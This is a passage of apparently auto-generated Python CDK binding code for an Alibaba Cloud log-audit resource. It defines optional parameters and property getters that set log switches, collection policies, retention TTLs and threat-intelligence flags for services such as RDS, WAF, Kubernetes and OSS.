typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, k8_s_event_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, k8_s_event_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, k8_s_ingress_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, k8_s_ingress_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, k8_s_ingress_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, k8_s_ingress_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, k8_s_ingress_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, nas_audit_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, nas_audit_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, nas_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, nas_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, nas_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, oss_access_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, oss_access_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, oss_access_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, oss_access_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, oss_access_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, oss_metering_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, oss_metering_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, oss_metering_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, oss_metering_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, oss_metering_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, oss_sync_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, oss_sync_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, polardb_audit_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, polardb_audit_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, polardb_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, polardb_perf_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, polardb_perf_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, polardb_perf_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, polardb_perf_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, polardb_perf_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, polardb_slow_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, polardb_slow_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, polardb_slow_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, polardb_slow_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, polardb_slow_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, polardb_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, polardb_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, rds_audit_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, rds_audit_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, rds_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, rds_perf_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, rds_perf_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, rds_perf_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, rds_perf_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, rds_perf_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, rds_slow_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, rds_slow_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, rds_slow_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, rds_slow_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, rds_slow_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, rds_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, rds_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, redis_audit_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, redis_audit_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, redis_audit_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, redis_audit_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, redis_audit_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, redis_sync_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, redis_sync_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, sas_crack_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_dns_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_http_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_local_dns_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_login_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_network_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_process_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_security_alert_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_security_hc_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_security_vul_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_session_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_snapshot_account_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_snapshot_port_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_snapshot_process_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, sas_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, slb_access_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, slb_access_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, slb_access_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, slb_access_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, slb_access_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, slb_sync_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, slb_sync_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, waf_access_collection_policy: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, waf_access_policy_setting: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, waf_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, waf_ti_enabled: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, waf_ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param actiontrail_enabled: :param actiontrail_openapi_collection_policy: :param actiontrail_openapi_policy_setting: :param actiontrail_ti_enabled: :param actiontrail_ttl: :param apigateway_access_collection_policy: :param apigateway_access_policy_setting: :param apigateway_enabled: :param apigateway_ti_enabled: :param apigateway_ttl: :param appconnect_enabled: :param appconnect_op_collection_policy: :param appconnect_op_policy_setting: :param appconnect_ti_enabled: :param appconnect_ttl: :param bastion_audit_collection_policy: :param bastion_audit_policy_setting: :param bastion_enabled: :param bastion_ti_enabled: :param bastion_ttl: :param cloudfirewall_access_collection_policy: :param cloudfirewall_access_policy_setting: :param cloudfirewall_enabled: :param cloudfirewall_ti_enabled: :param cloudfirewall_ttl: :param cps_callback_collection_policy: :param cps_callback_policy_setting: :param cps_enabled: :param cps_ti_enabled: :param cps_ttl: :param ddos_coo_access_collection_policy: :param ddos_coo_access_enabled: :param ddos_coo_access_policy_setting: :param ddos_coo_access_ti_enabled: :param ddos_coo_access_ttl: :param drds_audit_collection_policy: :param drds_audit_enabled: :param drds_audit_policy_setting: :param drds_audit_ti_enabled: :param drds_audit_ttl: :param drds_sync_enabled: :param drds_sync_ttl: :param k8_s_audit_collection_policy: :param k8_s_audit_enabled: :param k8_s_audit_policy_setting: :param k8_s_audit_ti_enabled: :param k8_s_audit_ttl: :param k8_s_event_collection_policy: :param k8_s_event_enabled: :param k8_s_event_policy_setting: :param k8_s_event_ti_enabled: :param k8_s_event_ttl: :param k8_s_ingress_collection_policy: :param k8_s_ingress_enabled: :param k8_s_ingress_policy_setting: :param k8_s_ingress_ti_enabled: :param k8_s_ingress_ttl: :param nas_audit_collection_policy: :param nas_audit_policy_setting: :param nas_enabled: :param nas_ti_enabled: :param nas_ttl: :param oss_access_collection_policy: :param oss_access_enabled: :param oss_access_policy_setting: :param oss_access_ti_enabled: :param oss_access_ttl: :param oss_metering_collection_policy: :param oss_metering_enabled: :param oss_metering_policy_setting: :param oss_metering_ti_enabled: :param oss_metering_ttl: :param oss_sync_enabled: :param oss_sync_ttl: :param polardb_audit_collection_policy: :param polardb_audit_policy_setting: :param polardb_enabled: :param polardb_perf_collection_policy: :param polardb_perf_enabled: :param polardb_perf_policy_setting: :param polardb_perf_ti_enabled: :param polardb_perf_ttl: :param polardb_slow_collection_policy: :param polardb_slow_enabled: :param polardb_slow_policy_setting: :param polardb_slow_ti_enabled: :param polardb_slow_ttl: :param polardb_ti_enabled: :param polardb_ttl: :param rds_audit_collection_policy: :param rds_audit_policy_setting: :param rds_enabled: :param rds_perf_collection_policy: :param rds_perf_enabled: :param rds_perf_policy_setting: :param rds_perf_ti_enabled: :param rds_perf_ttl: :param rds_slow_collection_policy: :param rds_slow_enabled: :param rds_slow_policy_setting: :param rds_slow_ti_enabled: :param rds_slow_ttl: :param rds_ti_enabled: :param rds_ttl: :param redis_audit_collection_policy: :param redis_audit_enabled: :param redis_audit_policy_setting: :param redis_audit_ti_enabled: :param redis_audit_ttl: :param redis_sync_enabled: :param redis_sync_ttl: :param sas_crack_enabled: :param sas_dns_enabled: :param sas_http_enabled: :param sas_local_dns_enabled: :param sas_login_enabled: :param sas_network_enabled: :param sas_process_enabled: :param sas_security_alert_enabled: :param sas_security_hc_enabled: :param sas_security_vul_enabled: :param sas_session_enabled: :param sas_snapshot_account_enabled: :param sas_snapshot_port_enabled: :param sas_snapshot_process_enabled: :param sas_ti_enabled: :param sas_ttl: :param slb_access_collection_policy: :param slb_access_enabled: :param slb_access_policy_setting: :param slb_access_ti_enabled: :param slb_access_ttl: :param slb_sync_enabled: :param slb_sync_ttl: :param waf_access_collection_policy: :param waf_access_policy_setting: :param waf_enabled: :param waf_ti_enabled: :param waf_ttl: ''' self._values: typing.Dict[str, typing.Any] = {} if actiontrail_enabled is not None: self._values["actiontrail_enabled"] = actiontrail_enabled if actiontrail_openapi_collection_policy is not None: self._values["actiontrail_openapi_collection_policy"] = actiontrail_openapi_collection_policy if actiontrail_openapi_policy_setting is not None: self._values["actiontrail_openapi_policy_setting"] = actiontrail_openapi_policy_setting if actiontrail_ti_enabled is not None: self._values["actiontrail_ti_enabled"] = actiontrail_ti_enabled if actiontrail_ttl is not None: self._values["actiontrail_ttl"] = actiontrail_ttl if apigateway_access_collection_policy is not None: self._values["apigateway_access_collection_policy"] = apigateway_access_collection_policy if apigateway_access_policy_setting is not None: self._values["apigateway_access_policy_setting"] = apigateway_access_policy_setting if apigateway_enabled is not None: self._values["apigateway_enabled"] = apigateway_enabled if apigateway_ti_enabled is not None: self._values["apigateway_ti_enabled"] = apigateway_ti_enabled if apigateway_ttl is not None: self._values["apigateway_ttl"] = apigateway_ttl if appconnect_enabled is not None: self._values["appconnect_enabled"] = appconnect_enabled if appconnect_op_collection_policy is not None: self._values["appconnect_op_collection_policy"] = appconnect_op_collection_policy if appconnect_op_policy_setting is not None: self._values["appconnect_op_policy_setting"] = appconnect_op_policy_setting if appconnect_ti_enabled is not None: self._values["appconnect_ti_enabled"] = appconnect_ti_enabled if appconnect_ttl is not None: self._values["appconnect_ttl"] = appconnect_ttl if bastion_audit_collection_policy is not None: self._values["bastion_audit_collection_policy"] = bastion_audit_collection_policy if bastion_audit_policy_setting is not None: self._values["bastion_audit_policy_setting"] = bastion_audit_policy_setting if bastion_enabled is not None: self._values["bastion_enabled"] = bastion_enabled if bastion_ti_enabled is not None: self._values["bastion_ti_enabled"] = bastion_ti_enabled if bastion_ttl is not None: self._values["bastion_ttl"] = bastion_ttl if cloudfirewall_access_collection_policy is not None: self._values["cloudfirewall_access_collection_policy"] = cloudfirewall_access_collection_policy if cloudfirewall_access_policy_setting is not None: self._values["cloudfirewall_access_policy_setting"] = cloudfirewall_access_policy_setting if cloudfirewall_enabled is not None: self._values["cloudfirewall_enabled"] = cloudfirewall_enabled if cloudfirewall_ti_enabled is not None: self._values["cloudfirewall_ti_enabled"] = cloudfirewall_ti_enabled if cloudfirewall_ttl is not None: self._values["cloudfirewall_ttl"] = cloudfirewall_ttl if cps_callback_collection_policy is not None: self._values["cps_callback_collection_policy"] = cps_callback_collection_policy if cps_callback_policy_setting is not None: self._values["cps_callback_policy_setting"] = cps_callback_policy_setting if cps_enabled is not None: self._values["cps_enabled"] = cps_enabled if cps_ti_enabled is not None: self._values["cps_ti_enabled"] = cps_ti_enabled if cps_ttl is not None: self._values["cps_ttl"] = cps_ttl if ddos_coo_access_collection_policy is not None: self._values["ddos_coo_access_collection_policy"] = ddos_coo_access_collection_policy if ddos_coo_access_enabled is not None: self._values["ddos_coo_access_enabled"] = ddos_coo_access_enabled if ddos_coo_access_policy_setting is not None: self._values["ddos_coo_access_policy_setting"] = ddos_coo_access_policy_setting if ddos_coo_access_ti_enabled is not None: self._values["ddos_coo_access_ti_enabled"] = ddos_coo_access_ti_enabled if ddos_coo_access_ttl is not None: self._values["ddos_coo_access_ttl"] = ddos_coo_access_ttl if drds_audit_collection_policy is not None: self._values["drds_audit_collection_policy"] = drds_audit_collection_policy if drds_audit_enabled is not None: self._values["drds_audit_enabled"] = drds_audit_enabled if drds_audit_policy_setting is not None: self._values["drds_audit_policy_setting"] = drds_audit_policy_setting if drds_audit_ti_enabled is not None: self._values["drds_audit_ti_enabled"] = drds_audit_ti_enabled if drds_audit_ttl is not None: self._values["drds_audit_ttl"] = drds_audit_ttl if drds_sync_enabled is not None: self._values["drds_sync_enabled"] = drds_sync_enabled if drds_sync_ttl is not None: self._values["drds_sync_ttl"] = drds_sync_ttl if k8_s_audit_collection_policy is not None: self._values["k8_s_audit_collection_policy"] = k8_s_audit_collection_policy if k8_s_audit_enabled is not None: self._values["k8_s_audit_enabled"] = k8_s_audit_enabled if k8_s_audit_policy_setting is not None: self._values["k8_s_audit_policy_setting"] = k8_s_audit_policy_setting if k8_s_audit_ti_enabled is not None: self._values["k8_s_audit_ti_enabled"] = k8_s_audit_ti_enabled if k8_s_audit_ttl is not None: self._values["k8_s_audit_ttl"] = k8_s_audit_ttl if k8_s_event_collection_policy is not None: self._values["k8_s_event_collection_policy"] = k8_s_event_collection_policy if k8_s_event_enabled is not None: self._values["k8_s_event_enabled"] = k8_s_event_enabled if k8_s_event_policy_setting is not None: self._values["k8_s_event_policy_setting"] = k8_s_event_policy_setting if k8_s_event_ti_enabled is not None: self._values["k8_s_event_ti_enabled"] = k8_s_event_ti_enabled if k8_s_event_ttl is not None: self._values["k8_s_event_ttl"] = k8_s_event_ttl if k8_s_ingress_collection_policy is not None: self._values["k8_s_ingress_collection_policy"] = k8_s_ingress_collection_policy if k8_s_ingress_enabled is not None: self._values["k8_s_ingress_enabled"] = k8_s_ingress_enabled if k8_s_ingress_policy_setting is not None: self._values["k8_s_ingress_policy_setting"] = k8_s_ingress_policy_setting if k8_s_ingress_ti_enabled is not None: self._values["k8_s_ingress_ti_enabled"] = k8_s_ingress_ti_enabled if k8_s_ingress_ttl is not None: self._values["k8_s_ingress_ttl"] = k8_s_ingress_ttl if nas_audit_collection_policy is not None: self._values["nas_audit_collection_policy"] = nas_audit_collection_policy if nas_audit_policy_setting is not None: self._values["nas_audit_policy_setting"] = nas_audit_policy_setting if nas_enabled is not None: self._values["nas_enabled"] = nas_enabled if nas_ti_enabled is not None: self._values["nas_ti_enabled"] = nas_ti_enabled if nas_ttl is not None: self._values["nas_ttl"] = nas_ttl if oss_access_collection_policy is not None: self._values["oss_access_collection_policy"] = oss_access_collection_policy if oss_access_enabled is not None: self._values["oss_access_enabled"] = oss_access_enabled if oss_access_policy_setting is not None: self._values["oss_access_policy_setting"] = oss_access_policy_setting if oss_access_ti_enabled is not None: self._values["oss_access_ti_enabled"] = oss_access_ti_enabled if oss_access_ttl is not None: self._values["oss_access_ttl"] = oss_access_ttl if oss_metering_collection_policy is not None: self._values["oss_metering_collection_policy"] = oss_metering_collection_policy if oss_metering_enabled is not None: self._values["oss_metering_enabled"] = oss_metering_enabled if oss_metering_policy_setting is not None: self._values["oss_metering_policy_setting"] = oss_metering_policy_setting if oss_metering_ti_enabled is not None: self._values["oss_metering_ti_enabled"] = oss_metering_ti_enabled if oss_metering_ttl is not None: self._values["oss_metering_ttl"] = oss_metering_ttl if oss_sync_enabled is not None: self._values["oss_sync_enabled"] = oss_sync_enabled if oss_sync_ttl is not None: self._values["oss_sync_ttl"] = oss_sync_ttl if polardb_audit_collection_policy is not None: self._values["polardb_audit_collection_policy"] = polardb_audit_collection_policy if polardb_audit_policy_setting is not None: self._values["polardb_audit_policy_setting"] = polardb_audit_policy_setting if polardb_enabled is not None: self._values["polardb_enabled"] = polardb_enabled if polardb_perf_collection_policy is not None: self._values["polardb_perf_collection_policy"] = polardb_perf_collection_policy if polardb_perf_enabled is not None: self._values["polardb_perf_enabled"] = polardb_perf_enabled if polardb_perf_policy_setting is not None: self._values["polardb_perf_policy_setting"] = polardb_perf_policy_setting if polardb_perf_ti_enabled is not None: self._values["polardb_perf_ti_enabled"] = polardb_perf_ti_enabled if polardb_perf_ttl is not None: self._values["polardb_perf_ttl"] = polardb_perf_ttl if polardb_slow_collection_policy is not None: self._values["polardb_slow_collection_policy"] = polardb_slow_collection_policy if polardb_slow_enabled is not None: self._values["polardb_slow_enabled"] = polardb_slow_enabled if polardb_slow_policy_setting is not None: self._values["polardb_slow_policy_setting"] = polardb_slow_policy_setting if polardb_slow_ti_enabled is not None: self._values["polardb_slow_ti_enabled"] = polardb_slow_ti_enabled if polardb_slow_ttl is not None: self._values["polardb_slow_ttl"] = polardb_slow_ttl if polardb_ti_enabled is not None: self._values["polardb_ti_enabled"] = polardb_ti_enabled if polardb_ttl is not None: self._values["polardb_ttl"] = polardb_ttl if rds_audit_collection_policy is not None: self._values["rds_audit_collection_policy"] = rds_audit_collection_policy if rds_audit_policy_setting is not None: self._values["rds_audit_policy_setting"] = rds_audit_policy_setting if rds_enabled is not None: self._values["rds_enabled"] = rds_enabled if rds_perf_collection_policy is not None: self._values["rds_perf_collection_policy"] = rds_perf_collection_policy if rds_perf_enabled is not None: self._values["rds_perf_enabled"] = rds_perf_enabled if rds_perf_policy_setting is not None: self._values["rds_perf_policy_setting"] = rds_perf_policy_setting if rds_perf_ti_enabled is not None: self._values["rds_perf_ti_enabled"] = rds_perf_ti_enabled if rds_perf_ttl is not None: self._values["rds_perf_ttl"] = rds_perf_ttl if rds_slow_collection_policy is not None: self._values["rds_slow_collection_policy"] = rds_slow_collection_policy if rds_slow_enabled is not None: self._values["rds_slow_enabled"] = rds_slow_enabled if rds_slow_policy_setting is not None: self._values["rds_slow_policy_setting"] = rds_slow_policy_setting if rds_slow_ti_enabled is not None: self._values["rds_slow_ti_enabled"] = rds_slow_ti_enabled if rds_slow_ttl is not None: self._values["rds_slow_ttl"] = rds_slow_ttl if rds_ti_enabled is not None: self._values["rds_ti_enabled"] = rds_ti_enabled if rds_ttl is not None: self._values["rds_ttl"] = rds_ttl if redis_audit_collection_policy is not None: self._values["redis_audit_collection_policy"] = redis_audit_collection_policy if redis_audit_enabled is not None: self._values["redis_audit_enabled"] = redis_audit_enabled if redis_audit_policy_setting is not None: self._values["redis_audit_policy_setting"] = redis_audit_policy_setting if redis_audit_ti_enabled is not None: self._values["redis_audit_ti_enabled"] = redis_audit_ti_enabled if redis_audit_ttl is not None: self._values["redis_audit_ttl"] = redis_audit_ttl if redis_sync_enabled is not None: self._values["redis_sync_enabled"] = redis_sync_enabled if redis_sync_ttl is not None: self._values["redis_sync_ttl"] = redis_sync_ttl if sas_crack_enabled is not None: self._values["sas_crack_enabled"] = sas_crack_enabled if sas_dns_enabled is not None: self._values["sas_dns_enabled"] = sas_dns_enabled if sas_http_enabled is not None: self._values["sas_http_enabled"] = sas_http_enabled if sas_local_dns_enabled is not None: self._values["sas_local_dns_enabled"] = sas_local_dns_enabled if sas_login_enabled is not None: self._values["sas_login_enabled"] = sas_login_enabled if sas_network_enabled is not None: self._values["sas_network_enabled"] = sas_network_enabled if sas_process_enabled is not None: self._values["sas_process_enabled"] = sas_process_enabled if sas_security_alert_enabled is not None: self._values["sas_security_alert_enabled"] = sas_security_alert_enabled if sas_security_hc_enabled is not None: self._values["sas_security_hc_enabled"] = sas_security_hc_enabled if sas_security_vul_enabled is not None: self._values["sas_security_vul_enabled"] = sas_security_vul_enabled if sas_session_enabled is not None: self._values["sas_session_enabled"] = sas_session_enabled if sas_snapshot_account_enabled is not None: self._values["sas_snapshot_account_enabled"] = sas_snapshot_account_enabled if sas_snapshot_port_enabled is not None: self._values["sas_snapshot_port_enabled"] = sas_snapshot_port_enabled if sas_snapshot_process_enabled is not None: self._values["sas_snapshot_process_enabled"] = sas_snapshot_process_enabled if sas_ti_enabled is not None: self._values["sas_ti_enabled"] = sas_ti_enabled if sas_ttl is not None: self._values["sas_ttl"] = sas_ttl if slb_access_collection_policy is not None: self._values["slb_access_collection_policy"] = slb_access_collection_policy if slb_access_enabled is not None: self._values["slb_access_enabled"] = slb_access_enabled if slb_access_policy_setting is not None: self._values["slb_access_policy_setting"] = slb_access_policy_setting if slb_access_ti_enabled is not None: self._values["slb_access_ti_enabled"] = slb_access_ti_enabled if slb_access_ttl is not None: self._values["slb_access_ttl"] = slb_access_ttl if slb_sync_enabled is not None: self._values["slb_sync_enabled"] = slb_sync_enabled if slb_sync_ttl is not None: self._values["slb_sync_ttl"] = slb_sync_ttl if waf_access_collection_policy is not None: self._values["waf_access_collection_policy"] = waf_access_collection_policy if waf_access_policy_setting is not None: self._values["waf_access_policy_setting"] = waf_access_policy_setting if waf_enabled is not None: self._values["waf_enabled"] = waf_enabled if waf_ti_enabled is not None: self._values["waf_ti_enabled"] = waf_ti_enabled if waf_ttl is not None: self._values["waf_ttl"] = waf_ttl @builtins.property def actiontrail_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: actiontrailEnabled: Notification type. Support Email, SMS, DingTalk. Default true. ''' result = self._values.get("actiontrail_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def actiontrail_openapi_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: actiontrailOpenapiCollectionPolicy: Actiontrail openapi collection policy ''' result = self._values.get("actiontrail_openapi_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def actiontrail_openapi_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: actiontrailOpenapiPolicySetting: Actiontrail openapi policy setting. ''' result = self._values.get("actiontrail_openapi_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def actiontrail_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: actiontrailTiEnabled: Threat Intelligence of actiontrail. ''' result = self._values.get("actiontrail_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def actiontrail_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: actiontrailTtl: Actiontrail action log TTL. ''' result = self._values.get("actiontrail_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def apigateway_access_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: apigatewayAccessCollectionPolicy: Apigateway audit collection policy ''' result = self._values.get("apigateway_access_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def apigateway_access_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: apigatewayAccessPolicySetting: Apigateway audit policy setting. ''' result = self._values.get("apigateway_access_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def apigateway_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: apigatewayEnabled: API Gateway Log Switch. Default true. ''' result = self._values.get("apigateway_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def apigateway_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: apigatewayTiEnabled: Threat Intelligence of Apigateway. ''' result = self._values.get("apigateway_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def apigateway_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: apigatewayTtl: API Gateway ttl. Default 180. ''' result = self._values.get("apigateway_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def appconnect_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: appconnectEnabled: Appconnect access log switch. Default false. ''' result = self._values.get("appconnect_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def appconnect_op_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: appconnectOpCollectionPolicy: Appconnect audit collection policy ''' result = self._values.get("appconnect_op_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def appconnect_op_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: appconnectOpPolicySetting: Appconnect audit policy setting. ''' result = self._values.get("appconnect_op_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def appconnect_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: appconnectTiEnabled: Threat Intelligence of Appconnect. ''' result = self._values.get("appconnect_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def appconnect_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: appconnectTtl: Appconnect log centralization ttl. Default 180. ''' result = self._values.get("appconnect_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def bastion_audit_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' 